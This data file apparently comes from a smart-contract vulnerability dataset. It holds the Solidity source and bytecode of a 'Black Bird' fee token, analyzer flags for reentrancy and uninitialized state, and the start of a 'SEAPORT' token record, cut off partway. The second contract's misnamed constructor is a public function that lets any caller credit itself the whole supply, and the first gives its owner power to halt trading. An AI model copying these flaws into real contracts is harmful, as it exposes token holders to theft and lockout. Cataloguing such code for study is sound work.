/** for the community, enjoy a safe trade . */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BlackBird is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Black Bird"; string private constant _symbol = "BLKBird"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 7; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 7; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _taaxAddress = payable(0x2f7B1742fCD27Cf93120be70102341859f4fB4Ce); address payable private _ttaxAddress = payable(0x2f7B1742fCD27Cf93120be70102341859f4fB4Ce); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 90000000000 * 10**9; uint256 public _maxWalletSize = 50000000000 * 10**9; uint256 public _swapTokensAtAmount = 20000000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taaxAddress] = true; _isExcludedFromFee[_ttaxAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _ttaxAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _taaxAddress || _msgSender() == _ttaxAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _taaxAddress || _msgSender() == _ttaxAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 9000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101bb5760003560e01c80637f2feddc116100ec578063a9059cbb1161008a578063c492f04611610064578063c492f04614610504578063dd62ed3e14610524578063ea1644d51461056a578063f2fde38b1461058a57600080fd5b8063a9059cbb1461049f578063bfd79284146104bf578063c3c8cd80146104ef57600080fd5b80638f9a55c0116100c65780638f9a55c01461041957806395d89b411461042f57806398a5c3151461045f578063a2a957bb1461047f57600080fd5b80637f2feddc146103ae5780638da5cb5b146103db5780638f70ccf7146103f957600080fd5b806349bd5a5e1161015957806370a082311161013357806370a0823114610343578063715018a61461036357806374010ece146103785780637d1db4a51461039857600080fd5b806349bd5a5e146102ec5780636d8aa8f81461030c5780636fc3eaec1461032e57600080fd5b806318160ddd1161019557806318160ddd1461027457806323b872dd1461029a5780632fd689e3146102ba578063313ce567146102d057600080fd5b806306fdde03146101c7578063095ea7b31461020c5780631694505e1461023c57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b5060408051808201909152600a815269109b1858dac8109a5c9960b21b60208201525b6040516102039190611980565b60405180910390f35b34801561021857600080fd5b5061022c6102273660046119ea565b6105aa565b6040519015158152602001610203565b34801561024857600080fd5b5060145461025c906001600160a01b031681565b6040516001600160a01b039091168152602001610203565b34801561028057600080fd5b50683635c9adc5dea000005b604051908152602001610203565b3480156102a657600080fd5b5061022c6102b5366004611a16565b6105c1565b3480156102c657600080fd5b5061028c60185481565b3480156102dc57600080fd5b5060405160098152602001610203565b3480156102f857600080fd5b5060155461025c906001600160a01b031681565b34801561031857600080fd5b5061032c610327366004611a6c565b61062a565b005b34801561033a57600080fd5b5061032c61067b565b34801561034f57600080fd5b5061028c61035e366004611a87565b6106c6565b34801561036f57600080fd5b5061032c6106e8565b34801561038457600080fd5b5061032c610393366004611aa4565b61075c565b3480156103a457600080fd5b5061028c60165481565b3480156103ba57600080fd5b5061028c6103c9366004611a87565b60116020526000908152604090205481565b3480156103e757600080fd5b506000546001600160a01b031661025c565b34801561040557600080fd5b5061032c610414366004611a6c565b61079b565b34801561042557600080fd5b5061028c60175481565b34801561043b57600080fd5b50604080518082019091526007815266109312d09a5c9960ca1b60208201526101f6565b34801561046b57600080fd5b5061032c61047a366004611aa4565b6107e3565b34801561048b57600080fd5b5061032c61049a366004611abd565b610812565b3480156104ab57600080fd5b5061022c6104ba3660046119ea565b6109c8565b3480156104cb57600080fd5b5061022c6104da366004611a87565b60106020526000908152604090205460ff1681565b3480156104fb57600080fd5b5061032c6109d5565b34801561051057600080fd5b5061032c61051f366004611aef565b610a29565b34801561053057600080fd5b5061028c61053f366004611b73565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561057657600080fd5b5061032c610585366004611aa4565b610aca565b34801561059657600080fd5b5061032c6105a5366004611a87565b610af9565b60006105b7338484610be3565b5060015b92915050565b60006105ce848484610d07565b610620843361061b85604051806060016040528060288152602001611d27602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611243565b610be3565b5060019392505050565b6000546001600160a01b0316331461065d5760405162461bcd60e51b815260040161065490611bac565b60405180910390fd5b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806106b057506013546001600160a01b0316336001600160a01b0316145b6106b957600080fd5b476106c38161127d565b50565b6001600160a01b0381166000908152600260205260408120546105bb906112bb565b6000546001600160a01b031633146107125760405162461bcd60e51b815260040161065490611bac565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107865760405162461bcd60e51b815260040161065490611bac565b677ce66c50e28400008111156106c357601655565b6000546001600160a01b031633146107c55760405162461bcd60e51b815260040161065490611bac565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461080d5760405162461bcd60e51b815260040161065490611bac565b601855565b6000546001600160a01b0316331461083c5760405162461bcd60e51b815260040161065490611bac565b600484111561089b5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b6064820152608401610654565b60148211156108f75760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b6064820152608401610654565b60048311156109575760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b6064820152608401610654565b60148111156109b45760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b6064820152608401610654565b600893909355600a91909155600955600b55565b60006105b7338484610d07565b6012546001600160a01b0316336001600160a01b03161480610a0a57506013546001600160a01b0316336001600160a01b0316145b610a1357600080fd5b6000610a1e306106c6565b90506106c38161133f565b6000546001600160a01b03163314610a535760405162461bcd60e51b815260040161065490611bac565b60005b82811015610ac4578160056000868685818110610a7557610a75611be1565b9050602002016020810190610a8a9190611a87565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610abc81611c0d565b915050610a56565b50505050565b6000546001600160a01b03163314610af45760405162461bcd60e51b815260040161065490611bac565b601755565b6000546001600160a01b03163314610b235760405162461bcd60e51b815260040161065490611bac565b6001600160a01b038116610b885760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610654565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c455760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610654565b6001600160a01b038216610ca65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610654565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d6b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610654565b6001600160a01b038216610dcd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610654565b60008111610e2f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610654565b6000546001600160a01b03848116911614801590610e5b57506000546001600160a01b03838116911614155b1561113c57601554600160a01b900460ff16610ef4576000546001600160a01b03848116911614610ef45760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610654565b601654811115610f465760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610654565b6001600160a01b03831660009081526010602052604090205460ff16158015610f8857506001600160a01b03821660009081526010602052604090205460ff16155b610fe05760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610654565b6015546001600160a01b038381169116146110655760175481611002846106c6565b61100c9190611c28565b106110655760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610654565b6000611070306106c6565b6018546016549192508210159082106110895760165491505b8080156110a05750601554600160a81b900460ff16155b80156110ba57506015546001600160a01b03868116911614155b80156110cf5750601554600160b01b900460ff165b80156110f457506001600160a01b03851660009081526005602052604090205460ff16155b801561111957506001600160a01b03841660009081526005602052604090205460ff16155b15611139576111278261133f565b478015611137576111374761127d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061117e57506001600160a01b03831660009081526005602052604090205460ff165b806111b057506015546001600160a01b038581169116148015906111b057506015546001600160a01b03848116911614155b156111bd57506000611237565b6015546001600160a01b0385811691161480156111e857506014546001600160a01b03848116911614155b156111fa57600854600c55600954600d555b6015546001600160a01b03848116911614801561122557506014546001600160a01b03858116911614155b1561123757600a54600c55600b54600d555b610ac4848484846114c8565b600081848411156112675760405162461bcd60e51b81526004016106549190611980565b5060006112748486611c40565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156112b7573d6000803e3d6000fd5b5050565b60006006548211156113225760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610654565b600061132c6114f6565b90506113388382611519565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061138757611387611be1565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113db57600080fd5b505afa1580156113ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114139190611c57565b8160018151811061142657611426611be1565b6001600160a01b03928316602091820292909201015260145461144c9130911684610be3565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611485908590600090869030904290600401611c74565b600060405180830381600087803b15801561149f57600080fd5b505af11580156114b3573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114d5576114d561155b565b6114e0848484611589565b80610ac457610ac4600e54600c55600f54600d55565b6000806000611503611680565b90925090506115128282611519565b9250505090565b600061133883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116c2565b600c5415801561156b5750600d54155b1561157257565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061159b876116f0565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115cd908761174d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115fc908661178f565b6001600160a01b03891660009081526002602052604090205561161e816117ee565b6116288483611838565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161166d91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061169c8282611519565b8210156116b957505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836116e35760405162461bcd60e51b81526004016106549190611980565b5060006112748486611ce5565b600080600080600080600080600061170d8a600c54600d5461185c565b925092509250600061171d6114f6565b905060008060006117308e8787876118b1565b919e509c509a509598509396509194505050505091939550919395565b600061133883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611243565b60008061179c8385611c28565b9050838110156113385760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610654565b60006117f86114f6565b905060006118068383611901565b30600090815260026020526040902054909150611823908261178f565b30600090815260026020526040902055505050565b600654611845908361174d565b600655600754611855908261178f565b6007555050565b600080808061187660646118708989611901565b90611519565b9050600061188960646118708a89611901565b905060006118a18261189b8b8661174d565b9061174d565b9992985090965090945050505050565b60008080806118c08886611901565b905060006118ce8887611901565b905060006118dc8888611901565b905060006118ee8261189b868661174d565b939b939a50919850919650505050505050565b600082611910575060006105bb565b600061191c8385611d07565b9050826119298583611ce5565b146113385760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610654565b600060208083528351808285015260005b818110156119ad57858101830151858201604001528201611991565b818111156119bf576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146106c357600080fd5b600080604083850312156119fd57600080fd5b8235611a08816119d5565b946020939093013593505050565b600080600060608486031215611a2b57600080fd5b8335611a36816119d5565b92506020840135611a46816119d5565b929592945050506040919091013590565b80358015158114611a6757600080fd5b919050565b600060208284031215611a7e57600080fd5b61133882611a57565b600060208284031215611a9957600080fd5b8135611338816119d5565b600060208284031215611ab657600080fd5b5035919050565b60008060008060808587031215611ad357600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b0457600080fd5b833567ffffffffffffffff80821115611b1c57600080fd5b818601915086601f830112611b3057600080fd5b813581811115611b3f57600080fd5b8760208260051b8501011115611b5457600080fd5b602092830195509350611b6a9186019050611a57565b90509250925092565b60008060408385031215611b8657600080fd5b8235611b91816119d5565b91506020830135611ba1816119d5565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c2157611c21611bf7565b5060010190565b60008219821115611c3b57611c3b611bf7565b500190565b600082821015611c5257611c52611bf7565b500390565b600060208284031215611c6957600080fd5b8151611338816119d5565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cc45784516001600160a01b031683529383019391830191600101611c9f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d0257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d2157611d21611bf7565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122090b6e82584d2a6536d2e7c135e9c543d883476a6053c3b9176fd6fada4a4733964736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
10,456
0xc8a00f39f175645747a9586f52f73d1f39cec16d
pragma solidity ^0.4.21 ; contract SEAPORT_Portfolio_III_883 { mapping (address => uint256) public balanceOf; string public name = " SEAPORT_Portfolio_III_883 " ; string public symbol = " SEAPORT883III " ; uint8 public decimals = 18 ; uint256 public totalSupply = 1212351653649260000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender's balance balanceOf[to] += value; // add to recipient's balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } // } // Programme d'émission - Lignes 1 à 10 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < SEAPORT_Portfolio_III_metadata_line_1_____Sochi_Port_Authority_20250515 > // < N5c25pOC7RIvsC8iR6DKwUQw8XAvMos42m19WB0QgT354bj1zpwK5JIvLE3lNdq7 > // < 1E-018 limites [ 1E-018 ; 24173024,4266269 ] > // < 0x0000000000000000000000000000000000000000000000000000000090151D9E > // < SEAPORT_Portfolio_III_metadata_line_2_____Sochi_Port_Spe_Value_20250515 > // < CW1e6c4NiOJxDjR7vVTVrN96FWaL63m5LOzxCF16eDub90uGEgWCDbF7T6u21C2T > // < 1E-018 limites [ 24173024,4266269 ; 70412176,817712 ] > // < 0x0000000000000000000000000000000000000000000000090151D9E1A3B07685 > // < SEAPORT_Portfolio_III_metadata_line_3_____Solombala_Port_Spe_Value_20250515 > // < yfeXMo2j2apE74HqGGMU87yyWIuEtBUR5w3y4QjZrBOwiNFw06T0mOQ8s5kXg9H6 > // < 1E-018 limites [ 70412176,817712 ; 97416758,1548618 ] > // < 0x00000000000000000000000000000000000000000000001A3B07685244A62F1B > // < SEAPORT_Portfolio_III_metadata_line_4_____Sovgavan_Port_Limited_20250515 > // < ZD3U1Sf1SKanXUXkJ7YhJ3m7MAYlvEhn2Vg0ia7zw69K4MbP2h9g1xx4yGR4KvZF > // < 1E-018 limites [ 97416758,1548618 ; 136747777,02979 ] > // < 0x0000000000000000000000000000000000000000000000244A62F1B32F148E5A > // < SEAPORT_Portfolio_III_metadata_line_5_____Port_Authority_of_St_Petersburg_20250515 > // < 8UGcZ1c97DC32u8RkLsNU9U8VFO5fzkHucidE64sDgH84aa3Pj5i61dof4L0mx4s > // < 1E-018 limites [ 136747777,02979 ; 161609547,464551 ] > // < 0x000000000000000000000000000000000000000000000032F148E5A3C3449B6E > // < SEAPORT_Portfolio_III_metadata_line_6_____Surgut_Port_Spe_Value_20250515 > // < MxRCsQUlOc1dnUR89yejMm3VUD3e2nNFqhM6y4m29ISdT476CenpHHPBDI4ft10X > // < 1E-018 limites [ 161609547,464551 ; 181738154,473837 ] > // < 0x00000000000000000000000000000000000000000000003C3449B6E43B3E6C8B > // < SEAPORT_Portfolio_III_metadata_line_7_____Taganrog_Port_Authority_20250515 > // < 5hHEucQGNkI301x20gt04M9sj22ZghU77sbA402MbgnP1aNjv203cBZ4AwO8c85H > // < 1E-018 limites [ 181738154,473837 ; 222561478,06799 ] > // < 0x000000000000000000000000000000000000000000000043B3E6C8B52E91DF52 > // < SEAPORT_Portfolio_III_metadata_line_8_____Tara_Port_Spe_Value_20250515 > // < VBSU0CdXN993TnfbvEcVv7VE0353colW357810rYib694Ae0Tsyptxx3czm83ieU > // < 1E-018 limites [ 222561478,06799 ; 241347812,860728 ] > // < 0x000000000000000000000000000000000000000000000052E91DF5259E8B8B5A > // < SEAPORT_Portfolio_III_metadata_line_9_____Temryuk_Port_Authority_20250515 > // < mzIasnrCk3DN7gqW61zkYpQsAiW3O9GPB7Dt6S4h8T31zVblR3G4k8VqLQ5QGSSg > // < 1E-018 limites [ 241347812,860728 ; 286188807,503747 ] > // < 0x000000000000000000000000000000000000000000000059E8B8B5A6A9D178E2 